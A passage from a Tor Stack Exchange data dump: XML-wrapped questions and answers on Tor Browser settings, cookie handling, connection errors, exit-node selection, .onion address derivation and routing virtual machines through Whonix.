&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me please prove my view point that Andriod Wifi Hotspot has leaked my data. &#xA; 1. while being in the same place, I used my home Wifi routers accesspoint to locate my self via Mozillas Geolocation service. The perimeter of my area pointed was extremely large! &lt;a href=&quot;https://i.stack.imgur.com/wMgxx.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/wMgxx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;2&quot;&gt;&#xA;&lt;li&gt;Then I did the same while through my Wifi hotspot of the andriod device keeping the home routers Wifi ON. It was pin poiting right at my home. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Is this proof that Andriod Wifi hotspots leak location information via Cell Tower Triangulation?&lt;/p&gt;&#xA;" OwnerUserId="4990" LastEditorUserId="4990" LastEditDate="2015-10-28T03:32:21.440" LastActivityDate="2016-07-12T16:53:15.440" Title="Location fetch of a website via Firefox while mobile hotspot is ON throghTOR" Tags="|information-leaks|ip-address-leak|location|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8908" PostTypeId="2" ParentId="8907" CreationDate="2015-10-27T21:12:47.787" Score="1" Body="&lt;p&gt;It gets your location from nearby wireless network names (ssid).&#xA;The &quot;How does it work&quot; section on &lt;a href=&quot;https://www.mozilla.org/en-US/firefox/geolocation/&quot; rel=&quot;nofollow&quot;&gt;https://www.mozilla.org/en-US/firefox/geolocation/&lt;/a&gt; explains it:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;How does it work? &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;When you visit a location-aware website, Firefox will ask you if you&#xA;  want to share your location.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If you consent, &lt;strong&gt;Firefox gathers information about nearby wireless&#xA;  access points&lt;/strong&gt; and your computer’s IP address. Then Firefox sends this&#xA;  information to the default geolocation service provider, Google&#xA;  Location Services, to get an estimate of your location. That location&#xA;  estimate is then shared with the requesting website.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If you say that you do not consent, Firefox will not do anything.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="9742" LastActivityDate="2015-10-27T21:12:47.787" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8909" PostTypeId="1" CreationDate="2015-10-28T05:33:01.433" Score="4" ViewCount="16341" Body="&lt;p&gt;I am a complete newbie, just started using Tor. I was reading &lt;a href=&quot;http://www.hongkiat.com/blog/do-donts-tor-network/&quot; rel=&quot;nofollow&quot;&gt;an article&lt;/a&gt; on the internet about how to maintain as much anonymity as possible while using Tor, and it said: &quot;Don’t use Tor Browser Bundle&quot;! Moreover, the article stated that some guy who was running some popular hidden server was arrested because physical location of his server was found because he used the Tor browser bundle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any other Tor as opposed to Tor Browser Bundle? I downloaded Tor from the only choice I had on the official web site and it seems to be the so called browser bundle. So where do I get the Tor that is not the browser bundle, or did the article refer to stand alone version?&lt;/p&gt;&#xA;" OwnerUserId="9743" LastEditorUserId="71" LastEditDate="2015-10-28T10:26:27.323" LastActivityDate="2019-07-31T02:48:30.313" Title="How can I safely use Tor without the &quot;Browser bundle&quot;?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8910" PostTypeId="1" AcceptedAnswerId="8917" CreationDate="2015-10-28T06:03:08.893" Score="6" ViewCount="45827" Body="&lt;p&gt;Could you explain to me how Tor handles cookies? Thing is that these cookies can carry any and all information about my computer. Things such program details, length and count of every single session on my computer can be transferred directly to the company's web site regardless of how anonymous I am? What I am asking is: Should I still avoid going to the web sites of the companies which software I'm using (without logging in of-course) or not?&lt;/p&gt;&#xA;" OwnerUserId="9743" LastActivityDate="2017-01-21T04:39:26.913" Title="How Tor handles cookies?" Tags="|cookies|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8911" PostTypeId="2" ParentId="8909" CreationDate="2015-10-28T09:17:48.263" Score="5" Body="&lt;p&gt;I would be skeptical of the article you read. The TOR Browser Bundle (TBB) is safe in most instances. The admonishment to not use Windows if possible is a good one, but unless you are doing some &lt;em&gt;really&lt;/em&gt; bad stuff, it is probably &quot;safe enough&quot; (Linux is always preferable though).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In years past, the TOR browser bundle lacked certain security patches in Firefox that could have been exploited to uncover the identities of people using it. However, it was likely only three-letter-agencies (e.g. the NSA) who were doing that on any meaningful scale and current versions of the software purposefully try to keep up with security patches to minimize the amount of time a certain browser version might be vulnerable. That said, I've never read anything to make me believe the Freedom Hosting takedown was due to the TBB. That was almost certainly other things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding a &quot;standalone&quot; version of TOR, they were likely referring to the &lt;a href=&quot;https://www.torproject.org/download/tor/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Windows Expert Bundle&lt;/a&gt;.  (As an update, since the article says they don't like Windows, they apparently mean &quot;Use some version of TOR, just not the prepackaged TBB which includes Firefox.&quot;) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is possible to setup TOR manually to work with a browser of your choice but it is a decidedly technical pursuit for many average users. And unless you genuinely know what you are doing, it is likely easier to misconfigure the &quot;standalone&quot; version which may leak details about you and your session.  What the &lt;a href=&quot;https://www.torproject.org/download/&quot; rel=&quot;nofollow noreferrer&quot;&gt;TOR Browser Bundle&lt;/a&gt; does is package a version of TOR with a preconfigured version of Firefox, both of which install easily for most users and are generally secure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;But...&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only genuine caveat concerning the TOR Browser Bundle is that current versions have some features left on by default which should really be turned off for anonymity. The reason these features are left on is because certain &quot;regular&quot; websites will &quot;break&quot; (not work correctly) without them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it is entirely possible to &quot;switch off&quot; these features (which generally aren't needed for sites on the TOR network, which exclude the need for these features purposefully to help anonymity). But unless you are looking for them, it is possible to leave them on and expose yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Updated July 2019 For Tor Browser Bundle v8.5.4 (Firefox 60.8.0 ESR)&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To start, right-click the uppermost portion of the browser window and enable the &lt;em&gt;Menu Bar&lt;/em&gt;. Then under &lt;em&gt;Tools -&gt; Options -&gt; Privacy &amp;amp; Security&lt;/em&gt; (&lt;code&gt;about:preferences#privacy&lt;/code&gt;), make certain the following items are set correctly:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Under &lt;em&gt;History&lt;/em&gt;, ensure &lt;code&gt;Use custom settings for history&lt;/code&gt; is selected. &lt;code&gt;Always use private browsing mode&lt;/code&gt; should also be enabled.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Under &lt;em&gt;Cookies and Site Data&lt;/em&gt;, mark the &lt;code&gt;Block cookies and site data&lt;/code&gt; option.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;As a matter of course, under the &lt;em&gt;Address Bar&lt;/em&gt; section, I would uncheck all three options (&lt;code&gt;Browsing history&lt;/code&gt;, &lt;code&gt;Bookmarks&lt;/code&gt; and &lt;code&gt;Open tabs&lt;/code&gt;). You likely don't want to keep a history of what you type in the address bar if you really care about privacy.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Set &lt;em&gt;Tracking Protection&lt;/em&gt; to &lt;code&gt;Always&lt;/code&gt;. (Recommended)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Under &lt;em&gt;Permissions&lt;/em&gt;, check &lt;code&gt;Prevent accessibility services from accessing your browser&lt;/code&gt;. (Recommended) [You will be prompted to restart the Tor browser if you check this option.]&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Under &lt;em&gt;Security&lt;/em&gt;,  mark the &lt;code&gt;Safer&lt;/code&gt; or &lt;code&gt;Safest&lt;/code&gt; option (the higher the better). You can click the Shield Icon on the toolbar (in the upper right corner of the browser) then click &lt;em&gt;Advanced Security Settings...&lt;/em&gt; to quickly access these options in the future.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The &lt;a href=&quot;https://noscript.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;NoScript&lt;/a&gt; add-on bundled with TBB previously had a separate toolbar icon, but that seems to have been removed in current versions of the TBB. Instead, choosing the &lt;code&gt;Safer&lt;/code&gt; or &lt;code&gt;Safest&lt;/code&gt; options (above) will disallow scripts, etc. (either on non-HTTPS sites [&lt;code&gt;Safer&lt;/code&gt;] or entirely [&lt;code&gt;Safest&lt;/code&gt;]). NoScript also has a number of options you may wish to investigate under &lt;em&gt;Tools → Add-ons → NoScript Options&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;After adjusting these settings, I would suggest restarting the Tor browser and checking out &lt;a href=&quot;http://ip-check.info/?lang=en&quot; rel=&quot;nofollow noreferrer&quot;&gt;JonDoNym's IP Check&lt;/a&gt; and the &lt;a href=&quot;https://panopticlick.eff.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;EFF's Panopticlick&lt;/a&gt;. Also, remember to recheck these settings periodically, especially after upgrading the TBB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are really privacy minded, you should consider &lt;a href=&quot;https://tails.boum.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;The Amnesiac Incognito Live System (TAILS)&lt;/a&gt;, which is a &lt;a href=&quot;https://en.wikipedia.org/wiki/Live_CD&quot; rel=&quot;nofollow noreferrer&quot;&gt;Linux Live CD&lt;/a&gt; which offers excellent security for TOR browsing. I would not recommend it in a virtual machine, however. (The best use of the Live CD is on a PC without a hard disc at all, at least in my opinion.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Reference Article Originally Cited:&lt;/strong&gt;&#xA;&lt;a href=&quot;http://www.hongkiat.com/blog/do-donts-tor-network/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.hongkiat.com/blog/do-donts-tor-network/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3027" LastEditorUserId="3027" LastEditDate="2019-07-31T02:48:30.313" LastActivityDate="2019-07-31T02:48:30.313" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="8913" PostTypeId="2" ParentId="8881" CreationDate="2015-10-28T17:59:07.673" Score="0" Body="&lt;p&gt;If you are using tails/tor then, effectively, you are already using a VPN and automatically bypassing any port blocking from your ISP. Please note that typically when people talk about &quot;port blocking&quot; they are referring to whether or not the connection allows incoming traffic to be initiated on that port (ie for a server); For example, if your ISP has blocked port 80 then that means you can't RUN a web server on port 80, but it doesn't mean that you can't CONNECT as a client to a web server running on port 80. This is what canyouseeme.org is checking and most likely does not relate to your problem. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;That being said, when using Tor (as a VPN/tunnel), exit nodes have the ability to do basically anything that your ISP would be able to do if you weren't using tails/tor and it is standard practice for Tor exit nodes to reject/block outgoing traffic on certain ports. Due to the severe spam problem that plagues the design of email, it is very likely that this is your problem: not your ISP, but the ISP of the Tor exit node and/or the Tor exit node itself that is blocking outgoing traffic on SMTP ports. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is why we created onionmail because ISPs make it extremely troublesome for Tor nodes to connect to email servers. We need hidden email servers to stop the harassment and make it work. Then we only have the problem between email servers (described above) which isn't too bad and only affects email servers that depend on the broken CA model for pub-key infrastructure (instead of .onion address system which fixes this problem among others). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.onionmail.info&quot; rel=&quot;nofollow&quot;&gt;http://en.onionmail.info&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://en.louhlbgyupgktsw7.onion&quot; rel=&quot;nofollow&quot;&gt;http://en.louhlbgyupgktsw7.onion&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9745" LastActivityDate="2015-10-28T17:59:07.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8914" PostTypeId="2" ParentId="8910" CreationDate="2015-10-28T18:59:18.600" Score="0" Body="&lt;p&gt;Cookies can only contain data that the site put there. All they can 'find out' about you is that you are the same as before.&lt;br&gt;&#xA;Tor Browser clears cookies on shutdown.&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-10-28T18:59:18.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8915" PostTypeId="1" CreationDate="2015-10-28T19:51:52.177" Score="1" ViewCount="145" Body="&lt;p&gt;It always gets stuck at about 10% and then nothing happens. I don't have any idea on what's wrong, though I use a university connection with several things blocked but the bridges wont work either. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;29/10/2015 01:12:51.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;29/10/2015 01:12:51.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;29/10/2015 01:12:51.200 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;29/10/2015 01:12:51.200 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;29/10/2015 01:12:51.200 [NOTICE] Renaming old configuration file to &quot;C:\Users\Ani's\Desktop\Tor Browser\Browser\TorBrowser\Data\Tor\torrc.orig.1&quot; &#xA;29/10/2015 01:12:58.600 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;29/10/2015 01:12:58.600 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;29/10/2015 01:13:17.600 [WARN] Proxy Client: unable to connect to 83.212.101.3:80 (&quot;general SOCKS server failure&quot;) &#xA;29/10/2015 01:13:19.600 [WARN] Proxy Client: unable to connect to 109.105.109.163:38980 (&quot;general SOCKS server failure&quot;) &#xA;29/10/2015 01:13:19.600 [WARN] Proxy Client: unable to connect to 109.105.109.163:47779 (&quot;general SOCKS server failure&quot;) &#xA;29/10/2015 01:13:19.600 [WARN] Proxy Client: unable to connect to 169.229.59.75:46328 (&quot;general SOCKS server failure&quot;) &#xA;29/10/2015 01:13:32.300 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;29/10/2015 01:13:32.300 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;29/10/2015 01:13:32.300 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9746" LastEditorUserId="350" LastEditDate="2015-10-28T21:10:46.200" LastActivityDate="2015-10-28T21:10:46.200" Title="Can't connect to network" Tags="|configuration|" AnswerCount="0" CommentCount="0" ClosedDate="2016-04-29T17:33:14.337" ContentLicense="CC BY-SA 3.0" />
  <row Id="8916" PostTypeId="1" CreationDate="2015-10-28T20:54:01.000" Score="1" ViewCount="175" Body="&lt;p&gt;I'm using the latest Tor browser bundle on low default security settings, and nothing will open. One out of every fifty pages will open. I tried enabling Javascript too, and it still won't open anything. I used to have better functionality with the security settings on high, than I am now setting them to low. I don't see a point in even using this browser anymore. I can't turn the security any lower; why is it blocking EVERYTHING?&lt;/p&gt;&#xA;" OwnerUserId="9747" LastEditorUserId="696" LastEditDate="2015-11-02T12:40:34.837" LastActivityDate="2015-11-02T12:40:34.837" Title="TBB on low (default) security settings won't open any webpages even with JS enabled?" Tags="|tor-browser-bundle|javascript|" AnswerCount="0" CommentCount="2" ClosedDate="2016-10-14T22:56:28.600" ContentLicense="CC BY-SA 3.0" />
  <row Id="8917" PostTypeId="2" ParentId="8910" CreationDate="2015-10-29T08:28:11.300" Score="7" Body="&lt;p&gt;In general Tor Browser saves the cookies which come from the originating site and deletes them when you close the browser. You can also click on &quot;New Identity&quot; which will also delete all your cookies.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find out about the cookie behaviour when you enter &lt;code&gt;about:config&lt;/code&gt; into the URL bar and search for the term &quot;cookie&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the central points is the setting &lt;a href=&quot;http://kb.mozillazine.org/Network.cookie.cookieBehavior&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;Network.cookie.cookieBehavior&lt;/code&gt;&lt;/a&gt;. This controls how the browser allows cookies. Currently it is set to &lt;code&gt;1&lt;/code&gt; which means &quot;Only cookies from the originating server are allowed&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore &lt;a href=&quot;http://kb.mozillazine.org/Network.cookie.lifetimePolicy&quot; rel=&quot;noreferrer&quot;&gt;&lt;code&gt;Network.cookie.lifetimePolicy&lt;/code&gt;&lt;/a&gt; is set to &lt;code&gt;2&lt;/code&gt; which means that cookies are deleted at the end of the session.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The developers of Tor Browser have a &lt;a href=&quot;https://www.torproject.org/projects/torbrowser/design/&quot; rel=&quot;noreferrer&quot;&gt;design document&lt;/a&gt; where they describe their policy regarding cookies and other tracking technologies. You'll find further details there.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2015-10-29T08:28:11.300" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8918" PostTypeId="1" CreationDate="2015-10-29T09:14:38.870" Score="0" ViewCount="1127" Body="&lt;p&gt;So I was installing the Tor Browser on Kali-Linux and as well as most people I got the &quot;Tor Browser Bundle should not be run as root&quot;-Error. Reading Bugfixes for this i encountered that it's recommended to change the start-tor-browser.desktop file in order to fix the bug. Now i got a problem that I didn't find on the internet yet. The problem is, that the &quot;start-tor-browser.desktop&quot;-file is empty. There is no Code i could change and pasting the code into the document didn't help as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Big thanks for your help already.&lt;/p&gt;&#xA;" OwnerUserId="9751" LastActivityDate="2019-04-13T03:03:55.743" Title="Tor Browser - start-tor-browser is empty?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8919" PostTypeId="1" AcceptedAnswerId="8923" CreationDate="2015-10-29T09:24:57.583" Score="1" ViewCount="31" Body="&lt;p&gt;I'm on OS X Yosemite 10.10.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was trying to install the Tor browser, but instead I mistakenly installed some general Tor proxy or something, which didn't come in the form of a normal application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I first installed MacPorts and then I did &lt;code&gt;sudo port install tor&lt;/code&gt; which didn't give me the Tor browser, but some other Tor thing (I think it's something that allows you to use Tor proxy with any application, but I don't need that.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So anyway, that command installed a bunch of components that I don't want or need on my system. How can I purge all these components from my system?&lt;/p&gt;&#xA;" OwnerUserId="9752" LastEditorUserId="9752" LastEditDate="2015-10-30T09:27:26.233" LastActivityDate="2015-10-30T09:27:26.233" Title="Remnants from package installation" Tags="|mac|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8920" PostTypeId="1" AcceptedAnswerId="8924" CreationDate="2015-10-29T09:25:34.013" Score="2" ViewCount="674" Body="&lt;p&gt;I'm visiting a website that only is available from Iran, and I want to use Tor and I want Tor to use an exit node from Iran, So, I put this on the &lt;strong&gt;torrc&lt;/strong&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExitNodes {ir}&#xA;StrictNodes 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But, I get this error and Tor can't connect. Here is the Tor log:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Oct 29 09:24:51.090 [notice] Tor v0.2.6.8 (git-5c8440b13bde6c88) running on Linux with Libevent 1.4.13-stable, OpenSSL 1.0.1e-fips and Zlib 1.2.3.&#xA;Oct 29 09:24:51.090 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Oct 29 09:24:51.090 [notice] Read configuration file &quot;/etc/tor/torrc&quot;.&#xA;Oct 29 09:24:51.092 [notice] Opening Socks listener on 127.0.0.1:9050&#xA;Oct 29 09:24:51.000 [notice] Parsing GEOIP IPv4 file /usr/share/tor/geoip.&#xA;Oct 29 09:24:51.000 [notice] Parsing GEOIP IPv6 file /usr/share/tor/geoip6.&#xA;Oct 29 09:24:51.000 [warn] You are running Tor as root. You don't need to, and you probably shouldn't.&#xA;Oct 29 09:24:51.000 [notice] We were built to run on a 64-bit CPU, with OpenSSL 1.0.1 or later, but with a version of OpenSSL that apparently lacks accelerated support for the NIST P-224 and P-256 groups. Building openssl with such support (using the enable-ec_nistp_64_gcc_128 option when configuring it) would make ECDH much faster.&#xA;Oct 29 09:24:51.000 [notice] Bootstrapped 0%: Starting&#xA;Oct 29 09:24:51.000 [notice] Bootstrapped 5%: Connecting to directory server&#xA;Oct 29 09:24:51.000 [notice] Bootstrapped 45%: Asking for relay descriptors&#xA;Oct 29 09:24:52.000 [notice] I learned some more directory information, but not enough to build a circuit: We need more microdescriptors: we have 6579/6579, and can only build 0% of likely paths. (We have 100% of guards bw, 100% of midpoint bw, and 0% of exit bw = 0% of path bw.)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Look at the last notice, It stops right there and nothing more.&#xA;By the way, Im using Tor command line, on CentOS 6.6.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will appreciate the help.&lt;/p&gt;&#xA;" OwnerUserId="9750" LastActivityDate="2015-10-29T18:34:59.210" Title="Tor can not connect when trying to use ExitNodes from Iran" Tags="|configuration|exit-relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8922" PostTypeId="2" ParentId="8918" CreationDate="2015-10-29T13:50:35.970" Score="1" Body="&lt;p&gt;You really should setup a non-root account and run the tor-browser using that account. Editing the .desktop file sounds unsafe to me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the file being empty, I would attempt to re-download the files from the tor project website. Make sure to verify the the integrity.&lt;/p&gt;&#xA;" OwnerUserId="9509" LastActivityDate="2015-10-29T13:50:35.970" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8923" PostTypeId="2" ParentId="8919" CreationDate="2015-10-29T15:48:09.997" Score="1" Body="&lt;p&gt;&lt;code&gt;sudo port uninstall tor&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To remove any inactive packages this might leave behind, run &lt;code&gt;sudo port uninstall inactive&lt;/code&gt;. &lt;/p&gt;&#xA;" OwnerUserId="1730" LastEditorUserId="1730" LastEditDate="2015-10-29T16:15:34.987" LastActivityDate="2015-10-29T16:15:34.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8924" PostTypeId="2" ParentId="8920" CreationDate="2015-10-29T16:54:36.023" Score="2" Body="&lt;p&gt;There is only one relay in Iran, and it is flagged as a Bad Exit.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://atlas.torproject.org/#details/CD1CD537A9BB9203BFD7327E53843DAA3B9E521D&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://atlas.torproject.org/#details/CD1CD537A9BB9203BFD7327E53843DAA3B9E521D&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;See this question: &lt;a href=&quot;https://tor.stackexchange.com/questions/253/what-specifically-causes-an-exit-to-get-a-bad-exit-flag&quot;&gt;What specifically causes an Exit to get a Bad Exit flag?&lt;/a&gt;  for how exits are flagged as &quot;Bad&quot;.&lt;/p&gt;&#xA;" OwnerUserId="350" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2015-10-29T18:34:59.210" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="8925" PostTypeId="2" ParentId="4036" CreationDate="2015-10-29T20:57:11.120" Score="1" Body="&lt;p&gt;What you describe is a &lt;em&gt;timing attack&lt;/em&gt;. (See here: &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#AttacksOnOnionRouting&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/faq.html.en#AttacksOnOnionRouting&lt;/a&gt; )  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to perform it, you need a birds-eye view of the network. Only very few parties have this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Splitting/joining packets in a stream would not help (much) against this, as you could still analyse the change in volume. Unless you take padding almost to the extreme where Tor constantly pumps noise to keep all connections saturated all the time. I imagine this would have a negative impact on network performance. &lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-10-29T20:57:11.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8926" PostTypeId="2" ParentId="4501" CreationDate="2015-10-29T21:09:32.460" Score="4" Body="&lt;p&gt;The public key is also derived from the private key. The .onion address is a hash of the public key but ultimately both are derived from the private key.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Generate a private key,&lt;/li&gt;&#xA;&lt;li&gt;Get the public key for this private key,&lt;/li&gt;&#xA;&lt;li&gt;Hash this public key using SHA1,&lt;/li&gt;&#xA;&lt;li&gt;Base32 encode the first 80 bits of this hash. Append .onion to it.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The HS needs to have the private key, and everybody needs to know the public key, so that the HS can prove that it 'owns' the address.&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2015-10-29T21:09:32.460" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8927" PostTypeId="1" CreationDate="2015-10-30T17:09:15.503" Score="0" ViewCount="349" Body="&lt;p&gt;Can I setup on the VM host to redirect all my VM guest networking over Tor?&lt;/p&gt;&#xA;" OwnerUserId="9763" LastActivityDate="2015-10-30T19:58:03.163" Title="Can you run a VM under a tor network?" Tags="|security|proxy|virtual-machine|virtualisation|" AnswerCount="2" CommentCount="0" ClosedDate="2015-11-03T00:17:04.770" ContentLicense="CC BY-SA 3.0" />
  <row Id="8928" PostTypeId="2" ParentId="8927" CreationDate="2015-10-30T17:12:58.000" Score="1" Body="&lt;p&gt;Have you investigated Whonix as a possibility? Basically two virtual machines, a gateway and a workstation. 1 VM to act as a workstation, the other VM acts as a gateway and funnels all traffic through Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.whonix.org/&quot; rel=&quot;nofollow&quot;&gt;https://www.whonix.org/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9509" LastActivityDate="2015-10-30T17:12:58.000" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8929" PostTypeId="2" ParentId="8927" CreationDate="2015-10-30T19:58:03.163" Score="0" Body="&lt;p&gt;Running Whonix-gateway with a configured dhcp-server would enable you to connect any guest VM (even Android VMs) through Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.whonix.org/wiki/Other_Operating_Systems#Whonix-Android-Workstation&quot; rel=&quot;nofollow&quot;&gt;https://www.whonix.org/wiki/Other_Operating_Systems#Whonix-Android-Workstation&lt;/a&gt; (Click &quot;Expand&quot;)&lt;/p&gt;&#xA;" OwnerUserId="9765" LastActivityDate="2015-10-30T19:58:03.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8930" PostTypeId="2" ParentId="6198" CreationDate="2015-10-31T05:11:18.010" Score="0" Body="&lt;p&gt;Tor expert bundle is primarily for people who use Internet Explorer or an alternate browser, also, you must manually configure it as follows:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;extract the files in a new directory (name it whatever you want)&lt;/li&gt;&#xA;&lt;li&gt;Create a shortcut to the Tor.exe file on your desktop&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Open Internet Explorer and go to Tools-Internet Options-Connections, then open the Lan Settings tab&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Uncheck Auto detect settings and check &quot;use proxy for Lan connection&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;Click advanced button, and setup ONLY the SOCKS with 127.0.0.1 , port 9050&lt;/li&gt;&#xA;&lt;li&gt;Save and close&lt;/li&gt;&#xA;&lt;li&gt;Click the Tor.exe shortcut on your desktop (it will open in the background)&lt;/li&gt;&#xA;&lt;li&gt;Open Internet Explorer, and Tor will work.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="9769" LastEditorUserId="88" LastEditDate="2015-11-02T12:39:18.107" LastActivityDate="2015-11-02T12:39:18.107" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
